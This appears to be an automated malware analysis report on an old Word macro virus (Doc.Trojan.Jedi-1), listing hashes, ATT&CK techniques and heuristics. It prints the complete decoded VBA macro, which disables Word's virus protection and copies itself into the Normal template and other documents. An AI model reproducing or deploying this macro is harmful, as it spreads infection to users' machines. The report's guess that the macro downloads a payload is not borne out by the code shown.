Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 375731b4fa851e2d…

MALICIOUS

Office (OLE)

32.5 KB Created: 2000-01-19 19:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 652351fb20b1f84665568dd33034eda0 SHA-1: 093ef92d991ed05d0a2f51f95e70f5773303133f SHA-256: 375731b4fa851e2d64b6f00a8fb29dc06888eda3d4a7a9c2a68eb704fa690818
200 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code upon opening. The macro attempts to copy itself to the Normal template and modifies user information, potentially to evade detection or establish persistence. The ClamAV detection 'Doc.Trojan.Jedi-1' further indicates malicious intent, likely involving the download or execution of a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Jedi-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jedi-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1380 bytes
SHA-256: 44c6923d3dcb0f9a830a1acbfd120685a9416a5c9b572868be40a1f4f2236db7
Detection
ClamAV: Doc.Trojan.Jedi-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Jedi_Magic"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 03/12/98 by Membership & Registry Division"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.Jedi_Magic.AutoOpen"
Options.VirusProtection = False
If Application.UserInitials <> "OBC" Then
    Application.OrganizerCopy Source:= _
    ActiveDocument.FullName, Destination:= _
    NormalTemplate.FullName, Name:="Jedi_Magic", _
    Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Save
    Application.UserName = "O.B.1. Canobi"
    Application.UserInitials = "OBC"
    Application.UserAddress = "BOOGZI BARBERS ... Food Buster!!!"
End If
For Each aVar In ActiveDocument.Variables
    If aVar.Name = "Force" Then num = aVar.Index
Next aVar
If num = 0 Then
    
    
    Application.OrganizerCopy Source:= _
    NormalTemplate.FullName, Destination:= _
    ActiveDocument.FullName, Name:="Jedi_Magic", _
    Object:=wdOrganizerObjectProjectItems
    ActiveDocument.Variables.Add Name:="Force", Value:="567374-Joseph.A.D.G."
    
    
    
    
    
    
    
    
    
End If
End Sub